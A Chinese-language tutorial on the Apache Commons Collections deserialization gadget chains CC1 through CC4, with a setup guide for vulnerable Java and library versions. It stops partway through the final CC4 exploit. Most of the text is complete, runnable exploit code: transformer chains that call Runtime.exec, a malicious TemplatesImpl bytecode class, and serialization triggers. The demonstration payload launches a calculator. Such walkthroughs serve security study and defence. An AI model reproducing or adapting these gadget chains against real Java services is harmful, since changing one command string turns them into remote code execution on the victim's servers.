CC链(Commons-Collections 反序列化)
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为 Apache 开放项目的重要组件,Commons Collections 被广泛的各种 Java 应用的开发
Commons Collections 组件反序列化漏洞的反射链也称为 CC 链,有 CC1 到 CC7
- CC1
- TransformMap:朴素
- LazyMap:动态代理触发 invoke
- CC2
- 基于 CC4
- 不使用 Transformer 数组,使用 InvokerTransformer
- CC3
- 动态加载类执行恶意代码
- InstantiateTransformer 触发 TrAXFilter 构造函数
- CC4
- CC 4.x InvokerTransformer 无法序列化
- 另一条链子,后面使用 CC3 的 InstantiateTransformer
- CC5
- 后半部分为 LazyMap get
- 前半部分为 BadAttributeValueExpException
- CC6
- hashCode 方法后常见利用链
xxx.readObject() -> HashMap.put() -> HashMap.hash() -> 后续利用链.hashCode() - 空白类占位 + 反射修改 解决构造时触发链条
- hashCode 方法后常见利用链
- CC7
- LazyMap get 的另一条链子
- 仔细审计逻辑,hash 冲突
CC1
CC1 链分为 TransformMap 版和 LazyMap 版
环境搭建
- Commons Collections <= 3.2.1
- Java < 8u71
Java Archive Downloads - Java SE 8 下载并安装 java8u65(选 JDK),进入安装目录创建 src 文件夹,把 src.zip 中的内容解压到 src 文件夹中
jdk8u/jdk8u/jdk: af660750b2f4 点左边的 zip 下载 zip 压缩包,解压后把 /src/share/classes 里的 sun 文件夹拷贝到 java 安装目录的 src 文件夹中
打开 IDEA 创建项目,构建系统选择 Maven,JDK 选择刚才安装的 java8u65,进入后 文件 -> 项目结构 -> SDK -> 源路径,把刚才创建的 src 文件夹添加到源路径下
打开 pom.xml 添加以下依赖包到 <dependencies> </dependencies> 内(自己创建在 <project> 内):
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>视图 -> 工具窗口 -> Maven 打开 Maven 窗口,项目名 -> 依赖项 -> commons-collections:commons-collections:3.2.1 右键选择下载源代码
在 /src/main/java 新建 Main 类,写入如下代码:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}运行,如果配置没问题运行会弹出计算器窗口
TransformMap 版 CC1 攻击链分析
寻找尾部 exec
查看 Transformer 接口:

Ctrl + Alt + B 查看实现接口的类(或者对 Transformer 右键 转到 -> 实现)

整条链子需要用到 InvokerTransformer,ChainedTransformer,ConstantTransformer 三个实现,现在看最主要的 InvokerTransformer:

发现在 transform 中存在反射调用任意对象方法,可以作为链的结尾,先尝试利用一下:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTransformerTest {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}成功调出了计算器。
接下来需要调用了 transform 方法的不同名函数
初步寻找
右键 -> 查找用法 可以列出所有调用这个方法的地方(找不到可以 Ctrl + Alt + Shift + F7,作用域选择所有位置)
发现 TransformMap 类中存在 checkSetValue 方法调用了 transform 方法:

其中的 valueTransformer 成员在构造函数中传入:

但是构造函数是 protected 的,寻找发现在 decorate 静态方法中创建了 TransformMap 对象(这是一个工厂方法):

到此,再次尝试构造攻击代码,逻辑为创建 TransformMap,创建时 valueTransformer 传入构造好的 InvokerTransformer 对象,然后通过反射强行调用 protected 的 checkSetValue 方法,checkSetValue 方法调用 valueTransformer 成员(InvokerTransformer)的 transform 方法(在此过程中层层传递当前 Runtime 对象),反射执行 Runtime 的 exec 方法:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime(); // 获得当前 Runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 构造用于执行 Runtime 对象 exec 方法的 InvokerTransformer
HashMap<Object, Object> hashMap = new HashMap<>(); // 无意义,用于填充 TransformedMap 构造函数的第一个参数
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
// 创建一个含特殊 InvokerTransformer 对象的 TransformedMap
Class<TransformedMap> transformedMapClass = TransformedMap.class; // 反射
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); // 反射
checkSetValueMethod.setAccessible(true); // 关闭访问控制
checkSetValueMethod.invoke(decorateMap, runtime); // 调用 checkSetValue 方法
}
}继续寻找
继续查找哪里调用了 checkSetValue 方法:

发现 AbstractInputCheckedMapDecorator 类的内部类 MapEntry 的 setValue 方法调用了 parent.checkSetValue(value)

AbstractInputCheckedMapDecorator 是一个抽象类(装饰器),是 TransformMap 的父类
(向上跟其实能发现这个方法就是在 Map 中对一组 entry(键值对)进行 setValue() 操作)

所以在 Map 遍历时调用 setValue,就会走过这个 setValue,而这个 setValue 就会调用 parent.checkSetValue,parent 根据结构,就是外部类 AbstractInputCheckedMapDecorator,AbstractInputCheckedMapDecorator 又是 TransformMap 的父类,所以 parent.checkSetValue 就是调用 TransformMap 对象的 checkSetValue 方法,可以写一段代码来验证:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}在 AbstractInputCheckedMapDecorator.MapEntry.setValue 方法和 TransformMap.checkSetValue 方法里打上断点,调试发现确实会停在这两个断点处
所以现在需要找一个会调用 setValue 方法的 readObject 反序列化方法
找 readObject
在 setValue 处查找,发现了 AnnotationInvocationHandler 类在反序列化时会调用 memberValue.setValue:

查看逻辑,发现要调用 setValue 方法,我们需要通过两个 if:
memberType != null!(memberType.isInstance(value) || value instanceof ExceptionProxy)
然后 AnnotationInvocationHandler 构造函数的作用域为 default,所以需要通过反射的方式调用
这样总体的攻击链构造逻辑就确定了,但需要解决几个问题
构造 EXP
问题1:Runtime 对象不能序列化
Runtime 对象不能序列化,但是 Runtime.class 可以序列化,所以可以用反射执行 Runtime.getRuntime() 在反序列化时获取 Runtime 对象(而不是在序列化字节流中读出 Runtime 对象)
先写一个普通的反射:
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null); // getRuntime 是静态方法,没有对象
runtime.exec("calc");把它改写成使用 InvokerTransformer.transform 反射调用的形式:
Class c = Runtime.class;
Method method = (Method) (new InvokerTransformer ("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})).transform(c);
Runtime runtime = (Runtime) (new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})).transform(method);
(new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})).transform(runtime);不难发现后三行有共同特点,都是调用某个 InvokerTransformer 对象的 transform 方法,并且后一个的参数是前一个的结果
所以可以使用 ChainedTransformer 类:

它接收一个 Transformer 接口数组作为成员,调用 transform 时传入初始对象,迭代调用数组里每一个 Transformer 接口实现对象的 transform 方法,刚好符合上面的代码,所以可以改写成这样:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);这样就解决了 Runtime 不能反序列化,并且解决了改用 Runtime.class 后漏洞无法调用多步 transform
问题2:如何解决两个 if
(AnnotationInvocationHandler 类的构造函数需要传入两个参数,第一个是注解类的 class,第二个是 Map<String, Object> 对象)
查看代码:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}memberType 来自 memberTypes.get(name),name 是 memberValue.getKey()(遍历键值对的键名称),memberTypes 来自这段:
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); type 是构造时传入的注解类的 Class,AnnotationType 是一个用来存储注解类元数据的类(像 Class,但是 AnnotationType 专门存注解类的元数据)。
getInstance 是一个工厂方法,传入注解类 Class,创建一个存储这个注解类信息的 AnnotationType 对象。
memberTypes 是 AnnotationType 类的一个方法,返回 (注解成员名,注解成员类型的 Class) 的 Map
memberValues 本意是存储注解类里成员对应的值的,键为成员名,值为对应的值。
第一个 if 是确保我从 memberValues 取出的成员名在现在的注解类里存在
第二个 if 是检查这个成员对应的值的类型是否为注解类里定义的类型(或者是异常占位对象),如果非法就 setValue 把这个键值对改成别的东西
所以需要找一个有成员的注解类,并且传入的 Map 中键名需要在这个注解类中有对应的成员名,值则其类型不能是这个成员定义的类型

发现 Target 注解类有叫做 value 的成员,所以传入的 Map 中有 ("value",随便什么) 就可以达成两个 if 的条件了
问题3:无法控制 setValue 的参数
根据代码,传入 setValue 的是一个 AnnotationTypeMismatchExceptionProxy 类,无法控制,我们需要找个东西可以控制,使得漏洞进入 ChainedTransformer.transform 迭代时初始对象是 Runtime.class
查看 ConstantTransformer:

发现他的 transform 方法始终返回 iConstant 成员,不管参数
所以将 ConstantTransformer 加到 ChainedTransformer 链条的开头,就可以控制迭代的初始对象了
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","robin"); // 保证两个 if 的通过
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
// 反射获得 AnnotationInvocationHandler 的构造方法
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 传入 Target 注解类的 class 和构造好的 Map
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}流程图

LazyMap 版 CC1 攻击链分析
前面到 TransformMap 前和上文一样,这次找 LazyMap
寻找链条

发现 LazyMap 的 get 方法里调用了 factory 的 transform 方法,作用域为 public。看一下这个类的构造函数:

LazyMap 和 TransformMap 一样,需要通过 decorate 工厂方法实例化,需要传入一个 Map 和一个 Transformer 接口的实现(factory)
接下来找谁调用了 LazyMap.get(),发现 AnnotationInvocationHandler.invoke() 里调用了 get:

接下来思考如何触发 AnnotationInvocationHandler.invoke()
看到 invoke,加上 AnnotationInvocationHandler 是 InvocationHandler 接口的实现,想到动态代理。当一个类被动态代理(用某个 InvocationHandler 实现处理方法调用)时,当调用这个类的某个方法后,就会调用这个 InvocationHandler 实现的 invoke 方法
接下来的入口点和 TransformMap 一样,还是看 AnnotationInvocationHandler 的 readObject 反序列化方法,但是方向不一样:

注意到这句话:for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
其中调用了 memberValues.entrySet(),那么我们传入代理对象(InvocationHandler 实现为构造好的 AnnotationInvocationHandler 对象)作为 memberValues 的值,当调用 memberValues.entrySet() 时,就会调用 AnnotationInvocationHandler.invoke() 方法,完成整个链条的调用。
EXP
注意 EXP 中有两个 AnnotationInvocationHandler 对象,第一个是作为 InvocationHandler 实现(因为 AnnotationInvocationHandler 是注解代理所以构造时不需要一个实例化对象),第二个是作为反序列化的入口(看中内部有可以控制对象的方法调用)
注意原来 memberValues 需要一个 Map 对象,所以理论上应该传入一个 Map 对象代理,所以构造代理对象时参数需要按照代理 Map 对象时填写,但是由于第三个参数只限制为 InvocationHandler 接口的实现,所以可以填 AnnotationInvocationHandler 对象(虽然这个 InvocationHandler 实现理论上是注解代理,里面没有实例化的对象),所以运行后会报错,但是只看调用链的话依旧会走完整个调用链调出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler o1 = (InvocationHandler) aihConstructor.newInstance(Target.class, lazyMap);
// o1 作为 InvocationHandler 实现,构造时 factory 传入构造好的 lazyMap
Map<String, Object> proxy = (Map<String, Object>) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, o1);
// 构造代理对象,以 o1 作为 InvocationHandler 实现
Object o2 = aihConstructor.newInstance(Target.class, proxy);
// o2 作为入口,传入构造好的代理对象
serialize(o2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}流程图

CC2
基于 CC4 的修改,避免使用 Transformer 数组,使用 InvokerTransformer
环境
- Commons Collections 4.0
- Java 8u65
分析
根据 PriorityQueue 的实现:

是将 PriorityQueue 中的元素传入 transform 方法中,所以占位时直接用 templates 对象即可:
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);再根据 newTransformer 方法的定义构造 InvokerTransformer:
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); 替换掉 CC4 EXP 对应部分即可:
EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
// instantiateTransformer.transform(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformersField = c.getDeclaredField("transformer");
transformersField.setAccessible(true);
transformersField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}CC3
CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。但是很多时候服务器代码当中的黑名单会选择禁用 Runtime
CC3 链是通过动态加载类加载机制来实现自动执行恶意类代码
环境
- Commons Collections 3.2.1
- Java 8u65
TemplatesImpl 解析
原理
在类的动态加载中,有一种利用 ClassLoader.defineClass 直接加载字节码的方法:

loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行 findClass
对于 findClass 方法,它根据名字的位置加载 .class 字节码,然后使用 defineClass(一般由子类实现)
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}例如 NetworkClassLoader 的实现:
class NetworkClassLoader extends ClassLoader {
String host;
int port;
public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}
private byte[] loadClassData(String name) {
// load the class data from the connection
}
}
// 子类的实现方式defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类(defineClass 方法有局限性,它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance 的实例化)
分析
Find usages 找到 TemplatesImpl 类的静态内部类 TransletClassLoader 中:

这个方法没有作用域,默认为 default,自己的类内可以调用。继续,找到 TemplatesImpl.defineTransletClasses:

作用域为 private,继续找,找到 TemplatesImpl.getTransletInstance:

还是 private(这个方法内有 newInstance 方法,可以实例化),继续找,找到 newTransformer:

这个方法是 public 的,可以从这里进入
利用
利用需要分析一些限制条件:

_class应该为 null_name不应该为 null_bytecode应该为一个二维数组,存储多条字节码的字节数组(一维为每条指令,一维为指令的每个字节码)_tfactory不应该为 null
先写一个静态恶意类 calc.class 并编译(静态类在初始化时会自动运行代码):
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}_tfactory 需要不为 null,但是 _tfactory 定义如下:
private transient TransformerFactoryImpl _tfactory = null;transient 关键字代表成员不会被序列化,反序列化无法控制这个成员
在 readObject 中有 _tfactory 的初始化定义:

模拟时直接反射把 _tfactory 设为 TransformerFactortImpl 即可
还有一个限制条件在 defineTransletClasses 中:
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}传入字节码的类需要继承 AbstractTranslet,补上继承和 IDE 自动补全的 override 的方法:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}这个方法可以替代掉 CC1 和 CC6 最后的 Runtime.exec
CC3
分析
寻找谁调用了 newTransformer:

主要有 4 个,考虑使用 TrAXFilter
Process 在 main 里面,是作为一般对象用的,所以不用它 getOutPropertie 是反射调用的方法,可能会在 fastjson 的漏洞里面被调用 TransformerFactoryImpl 无法序列化,构造函数难传参
TrAXFilter 也无法序列化,但是它的构造函数里有这句话:

_transformer = (TransformerImpl) templates.newTransformer();只需要执行这个类的构造函数就可以触发
使用 InstantiateTransformer 这个 Transformer 实现,InstantiateTransformer 用于初始化 Transformer:

刚好可以触发构造函数,代码如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
// TemplatesImpl 的 EXP 编写 public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 控制迭代链条的初始传入对象
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
}EXP
后边接上 CC1 的 TransformMap/LazyMap 或者 CC6 即可
CC4
因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化
环境
- Commons Collections 4.0
- Java 8u65
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>分析
后半部分和 CC3 一样:InstantiateTransformer -> TrAXFilter -> TemplatesImpl
在 TransformingComparator 的 compare 方法中调用了 transform 方法(compare 方法在其他地方很常见):

PriorityQueue 中的 siftDownUsingComparator 调用了 compare:

继续找,发现在同一个类中进行的调用

利用
限制条件
heapify 内有 for (int i = (size >>> 1) - 1; i >= 0; i--),需要 size 大于等于 2。size 是 PriorityQueue 的长度,所以往里面 add 几个元素
写出这样的 EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}可以弹计算器,但是会报错。add 方法:

和 CC6 一样,构造时会触发利用链。先把 transformingComparator 设为无关值,构造完再反射修改
EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
